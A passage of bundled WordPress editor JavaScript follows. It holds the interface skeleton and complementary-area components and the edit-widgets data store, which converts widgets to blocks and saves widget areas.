select(external_wp_viewport_namespaceObject.store).isViewportMatch('< medium'), isLarge: select(external_wp_viewport_namespaceObject.store).isViewportMatch('large'), showIconLabels: get('core', 'showIconLabels') }; }, [identifier, scope]); const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<'); useAdjustComplementaryListener(scope, identifier, activeArea, isActive, isSmall); const { enableComplementaryArea, disableComplementaryArea, pinItem, unpinItem } = (0,external_wp_data_namespaceObject.useDispatch)(store); (0,external_wp_element_namespaceObject.useEffect)(() => { // Set initial visibility: For large screens, enable if it's active by // default. For small screens, always initially disable. if (isActiveByDefault && activeArea === undefined && !isSmall) { enableComplementaryArea(scope, identifier); } else if (activeArea === undefined && isSmall) { disableComplementaryArea(scope, identifier); } setIsReady(true); }, [activeArea, isActiveByDefault, scope, identifier, isSmall, enableComplementaryArea, disableComplementaryArea]); if (!isReady) { return; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [isPinnable && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(pinned_items, { scope: scope, children: isPinned && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComplementaryAreaToggle, { scope: scope, identifier: identifier, isPressed: isActive && (!showIconLabels || isLarge), "aria-expanded": isActive, "aria-disabled": isLoading, label: title, icon: showIconLabels ? library_check : icon, showTooltip: !showIconLabels, variant: showIconLabels ? 'tertiary' : undefined, size: "compact", shortcut: toggleShortcut }) }), name && isPinnable && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComplementaryAreaMoreMenuItem, { target: name, scope: scope, icon: icon, children: title }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(ComplementaryAreaFill, { activeArea: activeArea, isActive: isActive, className: dist_clsx('interface-complementary-area', className), scope: scope, id: identifier.replace('/', ':'), children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(complementary_area_header, { className: headerClassName, closeLabel: closeLabel, onClose: () => disableComplementaryArea(scope), toggleButtonProps: { label: closeLabel, size: 'compact', shortcut: toggleShortcut, scope, identifier }, children: header || /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { className: "interface-complementary-area-header__title", children: title }), isPinnable && !isMobileViewport && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { className: "interface-complementary-area__pin-unpin-item", icon: isPinned ? star_filled : star_empty, label: isPinned ? (0,external_wp_i18n_namespaceObject.__)('Unpin from toolbar') : (0,external_wp_i18n_namespaceObject.__)('Pin to toolbar'), onClick: () => (isPinned ? unpinItem : pinItem)(scope, identifier), isPressed: isPinned, "aria-expanded": isPinned, size: "compact" })] }) }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Panel, { className: panelClassName, children: children })] })] }); } ComplementaryArea.Slot = ComplementaryAreaSlot; /* harmony default export */ const complementary_area = (ComplementaryArea); ;// ./node_modules/@wordpress/interface/build-module/components/navigable-region/index.js /** * WordPress dependencies */ /** * External dependencies */ const NavigableRegion = (0,external_wp_element_namespaceObject.forwardRef)(({ children, className, ariaLabel, as: Tag = 'div', ...props }, ref) => { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { ref: ref, className: dist_clsx('interface-navigable-region', className), "aria-label": ariaLabel, role: "region", tabIndex: "-1", ...props, children: children }); }); NavigableRegion.displayName = 'NavigableRegion'; /* harmony default export */ const navigable_region = (NavigableRegion); ;// ./node_modules/@wordpress/interface/build-module/components/interface-skeleton/index.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ const interface_skeleton_ANIMATION_DURATION = 0.25; const commonTransition = { type: 'tween', duration: interface_skeleton_ANIMATION_DURATION, ease: [0.6, 0, 0.4, 1] }; function useHTMLClass(className) { (0,external_wp_element_namespaceObject.useEffect)(() => { const element = document && document.querySelector(`html:not(.${className})`); if (!element) { return; } element.classList.toggle(className); return () => { element.classList.toggle(className); }; }, [className]); } const headerVariants = { hidden: { opacity: 1, marginTop: -60 }, visible: { opacity: 1, marginTop: 0 }, distractionFreeHover: { opacity: 1, marginTop: 0, transition: { ...commonTransition, delay: 0.2, delayChildren: 0.2 } }, distractionFreeHidden: { opacity: 0, marginTop: -60 }, distractionFreeDisabled: { opacity: 0, marginTop: 0, transition: { ...commonTransition, delay: 0.8, delayChildren: 0.8 } } }; function InterfaceSkeleton({ isDistractionFree, footer, header, editorNotices, sidebar, secondarySidebar, content, actions, labels, className }, ref) { const [secondarySidebarResizeListener, secondarySidebarSize] = (0,external_wp_compose_namespaceObject.useResizeObserver)(); const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<'); const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)(); const defaultTransition = { type: 'tween', duration: disableMotion ? 0 : interface_skeleton_ANIMATION_DURATION, ease: [0.6, 0, 0.4, 1] }; useHTMLClass('interface-interface-skeleton__html-container'); const defaultLabels = { /* translators: accessibility text for the top bar landmark region. */ header: (0,external_wp_i18n_namespaceObject._x)('Header', 'header landmark area'), /* translators: accessibility text for the content landmark region. */ body: (0,external_wp_i18n_namespaceObject.__)('Content'), /* translators: accessibility text for the secondary sidebar landmark region. */ secondarySidebar: (0,external_wp_i18n_namespaceObject.__)('Block Library'), /* translators: accessibility text for the settings landmark region. */ sidebar: (0,external_wp_i18n_namespaceObject._x)('Settings', 'settings landmark area'), /* translators: accessibility text for the publish landmark region. */ actions: (0,external_wp_i18n_namespaceObject.__)('Publish'), /* translators: accessibility text for the footer landmark region. */ footer: (0,external_wp_i18n_namespaceObject.__)('Footer') }; const mergedLabels = { ...defaultLabels, ...labels }; return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ref: ref, className: dist_clsx(className, 'interface-interface-skeleton', !!footer && 'has-footer'), children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "interface-interface-skeleton__editor", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, { initial: false, children: !!header && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(navigable_region, { as: external_wp_components_namespaceObject.__unstableMotion.div, className: "interface-interface-skeleton__header", "aria-label": mergedLabels.header, initial: isDistractionFree && !isMobileViewport ? 'distractionFreeHidden' : 'hidden', whileHover: isDistractionFree && !isMobileViewport ? 'distractionFreeHover' : 'visible', animate: isDistractionFree && !isMobileViewport ? 'distractionFreeDisabled' : 'visible', exit: isDistractionFree && !isMobileViewport ? 'distractionFreeHidden' : 'hidden', variants: headerVariants, transition: defaultTransition, children: header }) }), isDistractionFree && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "interface-interface-skeleton__header", children: editorNotices }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "interface-interface-skeleton__body", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, { initial: false, children: !!secondarySidebar && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(navigable_region, { className: "interface-interface-skeleton__secondary-sidebar", ariaLabel: mergedLabels.secondarySidebar, as: external_wp_components_namespaceObject.__unstableMotion.div, initial: "closed", animate: "open", exit: "closed", variants: { open: { width: secondarySidebarSize.width }, closed: { width: 0 } }, transition: defaultTransition, children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__unstableMotion.div, { style: { position: 'absolute', width: isMobileViewport ? '100vw' : 'fit-content', height: '100%', left: 0 }, variants: { open: { x: 0 }, closed: { x: '-100%' } }, transition: defaultTransition, children: [secondarySidebarResizeListener, secondarySidebar] }) }) }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(navigable_region, { className: "interface-interface-skeleton__content", ariaLabel: mergedLabels.body, children: content }), !!sidebar && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(navigable_region, { className: "interface-interface-skeleton__sidebar", ariaLabel: mergedLabels.sidebar, children: sidebar }), !!actions && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(navigable_region, { className: "interface-interface-skeleton__actions", ariaLabel: mergedLabels.actions, children: actions })] })] }), !!footer && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(navigable_region, { className: "interface-interface-skeleton__footer", ariaLabel: mergedLabels.footer, children: footer })] }); } /* harmony default export */ const interface_skeleton = ((0,external_wp_element_namespaceObject.forwardRef)(InterfaceSkeleton)); ;// ./node_modules/@wordpress/interface/build-module/components/index.js ;// ./node_modules/@wordpress/interface/build-module/index.js ;// external ["wp","blockEditor"] const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"]; ;// ./node_modules/@wordpress/edit-widgets/build-module/store/transformers.js /** * WordPress dependencies */ /** * Converts a widget entity record into a block. * * @param {Object} widget The widget entity record. * @return {Object} a block (converted from the entity record). */ function transformWidgetToBlock(widget) { if (widget.id_base === 'block') { const parsedBlocks = (0,external_wp_blocks_namespaceObject.parse)(widget.instance.raw.content, { __unstableSkipAutop: true }); if (!parsedBlocks.length) { return (0,external_wp_widgets_namespaceObject.addWidgetIdToBlock)((0,external_wp_blocks_namespaceObject.createBlock)('core/paragraph', {}, []), widget.id); } return (0,external_wp_widgets_namespaceObject.addWidgetIdToBlock)(parsedBlocks[0], widget.id); } let attributes; if (widget._embedded.about[0].is_multi) { attributes = { idBase: widget.id_base, instance: widget.instance }; } else { attributes = { id: widget.id }; } return (0,external_wp_widgets_namespaceObject.addWidgetIdToBlock)((0,external_wp_blocks_namespaceObject.createBlock)('core/legacy-widget', attributes, []), widget.id); } /** * Converts a block to a widget entity record. * * @param {Object} block The block. * @param {?Object} relatedWidget A related widget entity record from the API (optional). * @return {Object} the widget object (converted from block). */ function transformBlockToWidget(block, relatedWidget = {}) { let widget; const isValidLegacyWidgetBlock = block.name === 'core/legacy-widget' && (block.attributes.id || block.attributes.instance); if (isValidLegacyWidgetBlock) { var _block$attributes$id, _block$attributes$idB, _block$attributes$ins; widget = { ...relatedWidget, id: (_block$attributes$id = block.attributes.id) !== null && _block$attributes$id !== void 0 ? _block$attributes$id : relatedWidget.id, id_base: (_block$attributes$idB = block.attributes.idBase) !== null && _block$attributes$idB !== void 0 ? _block$attributes$idB : relatedWidget.id_base, instance: (_block$attributes$ins = block.attributes.instance) !== null && _block$attributes$ins !== void 0 ? _block$attributes$ins : relatedWidget.instance }; } else { widget = { ...relatedWidget, id_base: 'block', instance: { raw: { content: (0,external_wp_blocks_namespaceObject.serialize)(block) } } }; } // Delete read-only properties. delete widget.rendered; delete widget.rendered_form; return widget; } ;// ./node_modules/@wordpress/edit-widgets/build-module/store/utils.js /** * "Kind" of the navigation post. * * @type {string} */ const KIND = 'root'; /** * "post type" of the navigation post. * * @type {string} */ const WIDGET_AREA_ENTITY_TYPE = 'sidebar'; /** * "post type" of the widget area post. * * @type {string} */ const POST_TYPE = 'postType'; /** * Builds an ID for a new widget area post. * * @param {number} widgetAreaId Widget area id. * @return {string} An ID. */ const buildWidgetAreaPostId = widgetAreaId => `widget-area-${widgetAreaId}`; /** * Builds an ID for a global widget areas post. * * @return {string} An ID. */ const buildWidgetAreasPostId = () => `widget-areas`; /** * Builds a query to resolve sidebars. * * @return {Object} Query. */ function buildWidgetAreasQuery() { return { per_page: -1 }; } /** * Builds a query to resolve widgets. * * @return {Object} Query. */ function buildWidgetsQuery() { return { per_page: -1, _embed: 'about' }; } /** * Creates a stub post with given id and set of blocks. Used as a governing entity records * for all widget areas. * * @param {string} id Post ID. * @param {Array} blocks The list of blocks. * @return {Object} A stub post object formatted in compliance with the data layer. */ const createStubPost = (id, blocks) => ({ id, slug: id, status: 'draft', type: 'page', blocks, meta: { widgetAreaId: id } }); ;// ./node_modules/@wordpress/edit-widgets/build-module/store/constants.js /** * Module Constants */ const constants_STORE_NAME = 'core/edit-widgets'; ;// ./node_modules/@wordpress/edit-widgets/build-module/store/actions.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Persists a stub post with given ID to core data store. The post is meant to be in-memory only and * shouldn't be saved via the API. * * @param {string} id Post ID. * @param {Array} blocks Blocks the post should consist of. * @return {Object} The post object. */ const persistStubPost = (id, blocks) => ({ registry }) => { const stubPost = createStubPost(id, blocks); registry.dispatch(external_wp_coreData_namespaceObject.store).receiveEntityRecords(KIND, POST_TYPE, stubPost, { id: stubPost.id }, false); return stubPost; }; /** * Converts all the blocks from edited widget areas into widgets, * and submits a batch request to save everything at once. * * Creates a snackbar notice on either success or error. * * @return {Function} An action creator. */ const saveEditedWidgetAreas = () => async ({ select, dispatch, registry }) => { const editedWidgetAreas = select.getEditedWidgetAreas(); if (!editedWidgetAreas?.length) { return; } try { await dispatch.saveWidgetAreas(editedWidgetAreas); registry.dispatch(external_wp_notices_namespaceObject.store).createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Widgets saved.'), { type: 'snackbar' }); } catch (e) { registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(/* translators: %s: The error message. */ (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)('There was an error. %s'), e.message), { type: 'snackbar' }); } }; /** * Converts all the blocks from specified widget areas into widgets, * and submits a batch request to save everything at once. * * @param {Object[]} widgetAreas Widget areas to save. * @return {Function} An action creator. */ const saveWidgetAreas = widgetAreas => async ({ dispatch, registry }) => { try { for (const widgetArea of widgetAreas) { await dispatch.saveWidgetArea(widgetArea.id); } } finally { // saveEditedEntityRecord resets the resolution status, let's fix it manually. await registry.dispatch(external_wp_coreData_namespaceObject.store).finishResolution('getEntityRecord', KIND, WIDGET_AREA_ENTITY_TYPE, buildWidgetAreasQuery()); } }; /** * Converts all the blocks from a widget area specified by ID into widgets, * and submits a batch request to save everything at once. * * @param {string} widgetAreaId ID of the widget area to process. * @return {Function} An action creator. */ const saveWidgetArea = widgetAreaId => async ({ dispatch, select, registry }) => { const widgets = select.getWidgets(); const post = registry.select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(KIND, POST_TYPE, buildWidgetAreaPostId(widgetAreaId)); // Get all widgets from this area const areaWidgets = Object.values(widgets).filter(({ sidebar }) => sidebar === widgetAreaId); // Remove all duplicate reference widget instances for legacy widgets. // Why? We filter out the widgets with duplicate IDs to prevent adding more than one instance of a widget // implemented using a function. WordPress doesn't support having more than one instance of these, if you try to // save multiple instances of these in different sidebars you will run into undefined behaviors. const usedReferenceWidgets = []; const widgetsBlocks = post.blocks.filter(block => { const { id } = block.attributes; if (block.name === 'core/legacy-widget' && id) { if (usedReferenceWidgets.includes(id)) { return false; } usedReferenceWidgets.push(id); } return true; }); // Determine which widgets have been deleted. We can tell if a widget is // deleted and not just moved to a different area by looking to see if // getWidgetAreaForWidgetId() finds something. const deletedWidgets = []; for (const widget of areaWidgets) { const widgetsNewArea = select.getWidgetAreaForWidgetId(widget.id); if (!widgetsNewArea) { deletedWidgets.push(widget); } } const batchMeta = []; const batchTasks = []; const sidebarWidgetsIds = []; for (let i = 0; i < widgetsBlocks.length; i++) { const block = widgetsBlocks[i]; const widgetId = (0,external_wp_widgets_namespaceObject.getWidgetIdFromBlock)(block); const oldWidget = widgets[widgetId]; const widget = transformBlockToWidget(block, oldWidget); // We'll replace the null widgetId after save, but we track it here // since order is important. sidebarWidgetsIds.push(widgetId); // Check oldWidget as widgetId might refer to an ID which has been // deleted, e.g. if a deleted block is restored via undo after saving. if (oldWidget) { // Update an existing widget. registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord('root', 'widget', widgetId, { ...widget, sidebar: widgetAreaId }, { undoIgnore: true }); const hasEdits = registry.select(external_wp_coreData_namespaceObject.store).hasEditsForEntityRecord('root', 'widget', widgetId); if (!hasEdits) { continue; } batchTasks.push(({ saveEditedEntityRecord }) => saveEditedEntityRecord('root', 'widget', widgetId)); } else { // Create a new widget. batchTasks.push(({ saveEntityRecord }) => saveEntityRecord('root', 'widget', { ...widget, sidebar: widgetAreaId })); } batchMeta.push({ block, position: i, clientId: block.clientId }); } for (const widget of deletedWidgets) { batchTasks.push(({ deleteEntityRecord }) => deleteEntityRecord('root', 'widget', widget.id, { force: true })); } const records = await registry.dispatch(external_wp_coreData_namespaceObject.store).__experimentalBatch(batchTasks); const preservedRecords = records.filter(record => !record.hasOwnProperty('deleted')); const failedWidgetNames = []; for (let i = 0; i < preservedRecords.length; i++) { const widget = preservedRecords[i]; const { block, position } = batchMeta[i]; // Set __internalWidgetId on the block. This will be persisted to the // store when we dispatch receiveEntityRecords( post ) below. post.blocks[position].attributes.__internalWidgetId = widget.id; const error = registry.select(external_wp_coreData_namespaceObject.store).getLastEntitySaveError('root', 'widget', widget.id); if (error) { failedWidgetNames.push(block.attributes?.name || block?.name); } if (!sidebarWidgetsIds[position]) { sidebarWidgetsIds[position] = widget.id; } } if (failedWidgetNames.length) { throw new Error((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: List of widget names */ (0,external_wp_i18n_namespaceObject.__)('Could not save the following widgets: %s.'), failedWidgetNames.join(', '))); } registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord(KIND, WIDGET_AREA_ENTITY_TYPE, widgetAreaId, { widgets: sidebarWidgetsIds }, { undoIgnore: true }); dispatch(trySaveWidgetArea(widgetAreaId)); registry.dispatch(external_wp_coreData_namespaceObject.store).receiveEntityRecords(KIND, POST_TYPE, post, undefined); }; const trySaveWidgetArea = widgetAreaId => ({ registry }) => { registry.dispatch(external_wp_coreData_namespaceObject.store).saveEditedEntityRecord(KIND, WIDGET_AREA_ENTITY_TYPE, widgetAreaId, { throwOnError: true }); }; /** * Sets the clientId stored for a particular widgetId. * * @param {number} clientId Client id. * @param {number} widgetId Widget id. * * @return {Object} Action. */ function setWidgetIdForClientId(clientId, widgetId) { return { type: 'SET_WIDGET_ID_FOR_CLIENT_ID', clientId, widgetId }; } /** * Sets the open state of all the widget areas. * * @param {Object} widgetAreasOpenState The open states of all the widget areas. * * @return {Object} Action. */ function setWidgetAreasOpenState(widgetAreasOpenState) { return { type: 'SET_WIDGET_AREAS_OPEN_STATE', widgetAreasOpenState }; } /** * Sets the open state of the widget area. * * @param {string} clientId The clientId of the widget area. * @param {boolean} isOpen Whether the widget area should be opened. * * @return {Object} Action. */ function setIsWidgetAreaOpen(clientId, isOpen) { return { type: 'SET_IS_WIDGET_AREA_OPEN', clientId, isOpen }; } /** * Returns an action object used to open/close the inserter. * * @param {boolean|Object} value Whether the inserter should be * opened (true) or closed (false). * To specify an insertion point, * use an object. * @param {string} value.rootClientId The root client ID to insert at. * @param {number} value.insertionIndex The index to insert at. * * @return {Object} Action object. */ function setIsInserterOpened(value) { return { type: 'SET_IS_INSERTER_OPENED', value }; } /** * Returns an action object used to open/close the list view. * * @param {boolean} isOpen A boolean representing whether the list view should be opened or closed. * @return {Object} Action object. */ function setIsListViewOpened(isOpen) { return { type: 'SET_IS_LIST_VIEW_OPENED', isOpen }; } /** * Returns an action object signalling that the user closed the sidebar. * * @return {Object} Action creator. */ const closeGeneralSidebar = () => ({ registry }) => { registry.dispatch(store).disableComplementaryArea(constants_STORE_NAME); }; /** * Action that handles moving a block between widget areas * * @param {string} clientId The clientId of the block to move. * @param {string} widgetAreaId The id of the widget area to move the block to. */ const moveBlockToWidgetArea = (clientId, widgetAreaId) => async ({ dispatch, select, registry }) => { const sourceRootClientId = registry.select(external_wp_blockEditor_namespaceObject.store).getBlockRootClientId(clientId); // Search the top level blocks (widget areas) for the one with the matching // id attribute. Makes the assumption that all top-level blocks are widget // areas. const widgetAreas = registry.select(external_wp_blockEditor_namespaceObject.store).getBlocks(); const destinationWidgetAreaBlock = widgetAreas.find(({ attributes }) => attributes.id === widgetAreaId); const destinationRootClientId = destinationWidgetAreaBlock.clientId; // Get the index for moving to the end of the destination widget area. const destinationInnerBlocksClientIds = registry.select(external_wp_blockEditor_namespaceObject.store).getBlockOrder(destinationRootClientId); const destinationIndex = destinationInnerBlocksClientIds.length; // Reveal the widget area, if it's not open. const isDestinationWidgetAreaOpen = select.getIsWidgetAreaOpen(destinationRootClientId); if (!isDestinationWidgetAreaOpen) { dispatch.setIsWidgetAreaOpen(destinationRootClientId, true); } // Move the block. registry.dispatch(external_wp_blockEditor_namespaceObject.store).moveBlocksToPosition([clientId], sourceRootClientId, destinationRootClientId, destinationIndex); }; ;// ./node_modules/@wordpress/edit-widgets/build-module/store/resolvers.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Creates a "stub" widgets post reflecting all available widget areas. The * post is meant as a convenient to only exists in runtime and should never be saved. It * enables a convenient way of editing the widgets by using a regular post editor. * * Fetches all widgets from all widgets aras, converts them into blocks, and hydrates a new post with them. * * @return {Function} An action creator. */ const getWidgetAreas = () => async ({ dispatch, registry }) => { const query = buildWidgetAreasQuery(); const widgetAreas = await registry.resolveSelect(external_wp_coreData_namespaceObject.store).getEntityRecords(KIND, WIDGET_AREA_ENTITY_TYPE, query); const widgetAreaBlocks = []; const sortedWidgetAreas = widgetAreas.sort((a, b) => { if (a.id === 'wp_inactive_widgets') { return 1; } if (b.id === 'wp_inactive_widgets') { return -1; } return 0; }); for (const widgetArea of sortedWidgetAreas) { widgetAreaBlocks.push((0,external_wp_blocks_namespaceObject.createBlock)('core/widget-area', { id: widgetArea.id, name: widgetArea.name })); if (!widgetArea.widgets.length) { // If this widget area has no widgets, it won't get a post setup by // the getWidgets resolver. dispatch(persistStubPost(buildWidgetAreaPostId(widgetArea.id), [])); } } const widgetAreasOpenState = {}; widgetAreaBlocks.forEach((widgetAreaBlock, index) => { // Defaults to open the first widget area. widgetAreasOpenState[widgetAreaBlock.clientId] = index === 0; }); dispatch(setWidgetAreasOpenState(widgetAreasOpenState)); dispatch(persistStubPost(buildWidgetAreasPostId(), widgetAreaBlocks)); }; /** * Fetches all widgets from all widgets ares, and groups them by widget area Id. * * @return {Function} An action creator. */ const getWidgets = () => async ({ dispatch, registry }) => { const query = buildWidgetsQuery(); const widgets = await registry.resolveSelect(external_wp_coreData_namespaceObject.store).getEntityRecords('root', 'widget', query); const groupedBySidebar = {}; for (const widget of widgets) { const block = transformWidgetToBlock(widget); groupedBySidebar[widget.sidebar] = groupedBySidebar[widget.sidebar] || []; groupedBySidebar[widget.sidebar].push(block); } for (const sidebarId in groupedBySidebar) { if (groupedBySidebar.hasOwnProperty(sidebarId)) { // Persist the actual post containing the widget block dispatch(persistStubPost(buildWidgetAreaPostId(sidebarId), groupedBySidebar[sidebarId])); } } }; ;// ./node_modules/@wordpress/edit-widgets/build-module/store/selectors.js /** * WordPress dependencies */ /** * Internal dependencies */ const EMPTY_INSERTION_POINT = { rootClientId: undefined, insertionIndex: undefined }; /** * Returns all API widgets. * * @return {Object[]} API List of widgets. */ const selectors_getWidgets = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (0,external_wp_data_namespaceObject.createSelector)(() => { var _widgets$reduce; const widgets = select(external_wp_coreData_namespaceObject.store).getEntityRecords('root', 'widget', buildWidgetsQuery()); return (// Key widgets by their ID. (_widgets$reduce = widgets?.reduce((allWidgets, widget) => ({ ...allWidgets, [widget.id]: widget }), {})) !== null && _widgets$reduce !== void 0 ? _widgets$reduce : {} ); }, () => [select(external_wp_coreData_namespaceObject.store).getEntityRecords('root', 'widget', buildWidgetsQuery())])); /** * Returns API widget data for a particular widget ID. * * @param {number} id Widget ID. * * @return {Object} API widget data for a particular widget ID. */ const getWidget = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, id) => { const widgets = select(constants_STORE_NAME).getWidgets(); return widgets[id]; }); /** * Returns all API widget areas. * * @return {Object[]} API List of widget areas. */ const selectors_getWidgetAreas = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => { const query = buildWidgetAreasQuery(); return select(external_wp_coreData_namespaceObject.store).getEntityRecords(KIND, WIDGET_AREA_ENTITY_TYPE, query); }); /** * Returns widgetArea containing a block identify by given widgetId * * @param {string} widgetId The ID of the widget. * @return {Object} Containing widget area. */ const getWidgetAreaForWidgetId = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, widgetId) => { const widgetAreas = select(constants_STORE_NAME).getWidgetAreas(); return widgetAreas.find(widgetArea => { const post = select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(KIND, POST_TYPE, buildWidgetAreaPostId(widgetArea.id)); const blockWidgetIds = post.blocks.map(block => (0,external_wp_widgets_namespaceObject.getWidgetIdFromBlock)(block)); return blockWidgetIds.includes(widgetId); }); }); /** * Given a child client id, returns the parent widget area block. * * @param {string} clientId The client id of a block in a widget area. * * @return {WPBlock} The widget area block. */ const getParentWidgetAreaBlock = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, clientId) => { const { getBlock, getBlockName, getBlockParents } = select(external_wp_blockEditor_namespaceObject.store); const blockParents = getBlockParents(clientId); const widgetAreaClientId = blockParents.find(parentClientId => getBlockName(parentClientId) === 'core/widget-area'); return getBlock(widgetAreaClientId); }); /** * Returns all edited widget area entity records. * * @return {Object[]} List of edited widget area entity records. */ const getEditedWidgetAreas = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, ids) => { let widgetAreas = select(constants_STORE_NAME).getWidgetAreas(); if (!widgetAreas) { return []; } if (ids) { widgetAreas = widgetAreas.filter(({ id }) => ids.includes(id)); } return widgetAreas.filter(({ id }) => select(external_wp_coreData_namespaceObject.store).hasEditsForEntityRecord(KIND, POST_TYPE, buildWidgetAreaPostId(id))).map(({ id }) => select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(KIND, WIDGET_AREA_ENTITY_TYPE, id)); }); /** * Returns all blocks representing reference widgets. * * @param {string} referenceWidgetName Optional. If given, only reference widgets with this name will be returned. * @return {Array} List of all blocks representing reference widgets */ const getReferenceWidgetBlocks = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, referenceWidgetName = null) => { const results = []; const widgetAreas = select(constants_STORE_NAME).getWidgetAreas(); for (const _widgetArea of widgetAreas) { const post = select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(KIND, POST_TYPE, buildWidgetAreaPostId(_widgetArea.id)); for (const block of post.blocks) { if (block.name === 'core/legacy-widget' && (!referenceWidgetName || block.attributes?.referenceWidgetName === referenceWidgetName)) { results.push(block); } } } return results; }); /** * Returns true if any widget area is currently being saved. * * @return {boolean} True if any widget area is currently being saved. False otherwise. */ const isSavingWidgetAreas = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => { const widgetAreasIds = select(constants_STORE_NAME).getWidgetAreas()?.map(({ id }) => id); if (!widgetAreasIds) { return false; } for (const id of widgetAreasIds) { const isSaving = select(external_wp_coreData_namespaceObject.store).isSavingEntityRecord(KIND, WIDGET_AREA_ENTITY_TYPE, id); if (isSaving) { return true; } } const widgetIds = [...Object.keys(select(constants_STORE_NAME).getWidgets()), undefined // account for new widgets without an ID ]; for (const id of widgetIds) { const isSaving = select(external_wp_coreData_namespaceObject.store).isSavingEntityRecord('root', 'widget', id); if (isSaving) { return true; } } return false; }); /** * Gets whether the widget area is opened. * * @param {Array} state The open state of the widget areas. * @param {string} clientId The clientId of the widget area. * * @return {boolean} True if the widget area is open. */ const getIsWidgetAreaOpen = (state, clientId) => { const { widgetAreasOpenState } = state; return !!widgetAreasOpenState[clientId]; }; /** * Returns true if the inserter is opened. * * @param {Object} state Global application state. * * @return {boolean} Whether the inserter is opened. */ function isInserterOpened(state) { return !!state.blockInserterPanel; } /** * Get the insertion point for the inserter. * * @param {Object} state Global application state. * * @return {Object} The root client ID and index to insert at. */ function __experimentalGetInsertionPoint(state) { if (typeof state.blockInserterPanel === 'boolean') { return EMPTY_INSERTION_POINT; } return state.blockInserterPanel; } /** * Returns true if a block can be inserted into a widget area. * * @param {Array} state The open state of the widget areas. * @param {string} blockName The name of the block being inserted. * * @return {boolean} True if the block can be inserted in a widget area. */ const canInsertBlockInWidgetArea = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, blockName) => { // Widget areas are always top-level blocks, which getBlocks will return. const widgetAreas = select(external_wp_blockEditor_namespaceObject.store).getBlocks(); // Makes an assumption that a block that can be inserted into one // widget area can be inserted into any widget area. Uses the first // widget area for testing whether the block can be inserted. const [firstWidgetArea] = widgetAreas; return select(external_wp_blockEditor_namespaceObject.store).canInsertBlockType(blockName, firstWidgetArea.clientId); }); /** * Returns true if the list view is opened. * * @param {Object} state Global application state. * * @return {boolean} Whether the list view is opened. */ function isListViewOpened(state) { return state.listViewPanel; } ;// ./node_modules/@wordpress/edit-widgets/build-module/store/private-selectors.js function getListViewToggleRef(state) { return state.listViewToggleRef; } function getInserterSidebarToggleRef(state) { return state.inserterSidebarToggleRef; } ;// external ["wp","privateApis"] const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"]; ;// ./node_modules/@wordpress/edit-widgets/build-module/lock-unlock.js /** * WordPress dependencies */ const { lock, unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)('I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.', '@wordpress/edit-widgets'); ;// ./node_modules/@wordpress/edit-widgets/build-module/store/index.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Block editor data store 